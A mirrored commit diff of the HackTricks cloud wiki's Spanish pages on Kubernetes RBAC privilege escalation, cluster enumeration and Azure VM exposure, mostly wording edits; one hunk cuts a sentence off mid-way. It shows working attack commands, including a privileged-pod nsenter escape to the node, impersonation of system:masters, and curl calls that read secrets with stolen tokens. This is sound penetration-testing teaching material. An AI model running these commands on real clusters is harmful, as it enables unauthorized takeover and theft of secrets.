mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 23:15:48 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB
This commit is contained in:
@@ -352,6 +352,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
* Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios
|
||||
* Echar un vistazo a las restauraciones
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# Az - VMs Unath
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Máquinas Virtuales
|
||||
|
||||
Para más información sobre las Máquinas Virtuales de Azure, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Servicio vulnerable expuesto
|
||||
|
||||
Un servicio de red que es vulnerable a algún RCE.
|
||||
|
||||
### Imágenes de Galería Pública
|
||||
|
||||
Una imagen pública puede tener secretos dentro de ella:
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
### Extensiones Públicas
|
||||
|
||||
Esto sería más extraño pero no imposible. Una gran empresa podría poner una extensión con datos sensibles dentro de ella:
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -77,7 +77,7 @@ hostNetwork: true
|
||||
Lo siguiente indica todos los privilegios que un contenedor puede tener:
|
||||
|
||||
- **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades)
|
||||
- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
|
||||
- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
|
||||
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
|
||||
- **Montar hosts / dentro del contenedor**
|
||||
```yaml:super_privs.yaml
|
||||
@@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:
|
||||
Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en:
|
||||
|
||||
#### Sigilo
|
||||
|
||||
@@ -149,7 +149,7 @@ Para más información, consulta:
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
|
||||
### **Crear/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
|
||||
|
||||
Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior.
|
||||
|
||||
@@ -235,7 +235,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Eludir la protección de solo lectura <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw:
|
||||
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` está disponible, puedes simplemente volver a montar la carpeta como rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +247,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
|
||||
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un montaje hostPath, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -297,12 +297,12 @@ name: task-pv-storage-vol
|
||||
|
||||
Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
|
||||
|
||||
Simplemente use el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
|
||||
Solo usa el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
O use la API REST:
|
||||
O utiliza la API REST:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -312,7 +312,7 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listando Secretos
|
||||
|
||||
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al punto final de la API REST:
|
||||
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
@@ -389,7 +389,7 @@ El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjkl
|
||||
|
||||
Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.**
|
||||
|
||||
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
|
||||
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
|
||||
|
||||
Un **ejemplo de un rol** con todos los permisos requeridos es:
|
||||
```yaml
|
||||
@@ -424,10 +424,7 @@ verbs:
|
||||
```
|
||||
Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
|
||||
|
||||
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\
|
||||
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
|
||||
|
||||
La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación):
|
||||
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
@@ -516,7 +513,7 @@ Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos
|
||||
|
||||
### Proxy de nodos
|
||||
|
||||
Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página:
|
||||
Principales con acceso al **`nodes/proxy`** subrecurso pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -575,7 +572,7 @@ Crea tu .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Edita tu .yaml y añade las líneas sin comentar:
|
||||
Edita tu .yaml y añade las líneas descomentadas:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
@@ -645,7 +642,7 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Como se puede ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
|
||||
Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
@@ -667,9 +664,9 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con
|
||||
|
||||
## Mejores Prácticas
|
||||
|
||||
### **Deshabilitar la Automontura de Tokens de Cuentas de Servicio**
|
||||
### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio**
|
||||
|
||||
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontura.
|
||||
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
|
||||
- **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
|
||||
|
||||
### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings**
|
||||
|
||||
@@ -8,7 +8,7 @@ Si has comprometido el acceso a una máquina, el usuario puede tener acceso a al
|
||||
|
||||
En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al servidor API**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente.
|
||||
|
||||
Si has comprometido un pod dentro de un entorno de kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
|
||||
Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
|
||||
|
||||
### Tokens de Cuenta de Servicio
|
||||
|
||||
@@ -29,7 +29,7 @@ Generalmente **uno** de los directorios:
|
||||
|
||||
contiene los archivos:
|
||||
|
||||
- **ca.crt**: Es el certificado ca para verificar las comunicaciones de kubernetes
|
||||
- **ca.crt**: Es el certificado ca para verificar las comunicaciones de Kubernetes
|
||||
- **namespace**: Indica el espacio de nombres actual
|
||||
- **token**: Contiene el **token de servicio** del pod actual.
|
||||
|
||||
@@ -55,7 +55,7 @@ Si no sabes qué es **RBAC**, **lee esta sección**.
|
||||
|
||||
## Aplicaciones GUI
|
||||
|
||||
- **k9s**: Una GUI que enumera un clúster de kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres.
|
||||
- **k9s**: Una GUI que enumera un clúster de Kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres.
|
||||
- **k8slens**: Ofrece algunos días de prueba gratuita: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Hoja de Trucos de Enumeración
|
||||
@@ -66,17 +66,17 @@ Para enumerar un entorno K8s necesitas un par de cosas:
|
||||
- La **dirección (**_**https://host:port**_**) del API de Kubernetes**. Esto generalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube.
|
||||
- **Opcional**: El **ca.crt para verificar el servidor API**. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del servidor API, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no necesitarás esto.
|
||||
|
||||
Con esos detalles puedes **enumerar kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host.
|
||||
Con esos detalles puedes **enumerar Kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host.
|
||||
|
||||
Sin embargo, generalmente el **servidor API está dentro de una red interna**, por lo tanto necesitarás **crear un túnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **subir el** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usar **`curl/wget/anything`** para realizar solicitudes HTTP en bruto al servidor API.
|
||||
|
||||
### Diferencias entre los verbos `list` y `get`
|
||||
|
||||
Con permisos de **`get`** puedes acceder a la información de activos específicos (_opción `describe` en `kubectl`_) API:
|
||||
Con permisos de **`get`** puedes acceder a información de activos específicos (_opción `describe` en `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_opción `get` en `kubectl`_):
|
||||
Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_`get` opción en `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
@@ -119,7 +119,7 @@ Por defecto, el APISERVER se comunica con el esquema `https://`
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> si no hay `https://` en la URL, puede que obtengas un error como Bad Request.
|
||||
> si no hay `https://` en la URL, puede que obtenga un error como Bad Request.
|
||||
|
||||
Puedes encontrar un [**cheatsheet oficial de kubectl aquí**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso.
|
||||
|
||||
@@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
|
||||
```
|
||||
### Obtener Cuentas de Servicio
|
||||
|
||||
Como se discutió al principio de esta página **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
|
||||
Como se discutió al principio de esta página, **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -347,7 +347,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
|
||||
### Obtener nodos
|
||||
|
||||
Obtén todos los **nodos configurados dentro del clúster**.
|
||||
Obtener todos los **nodos configurados dentro del clúster**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
Reference in New Issue
Block a user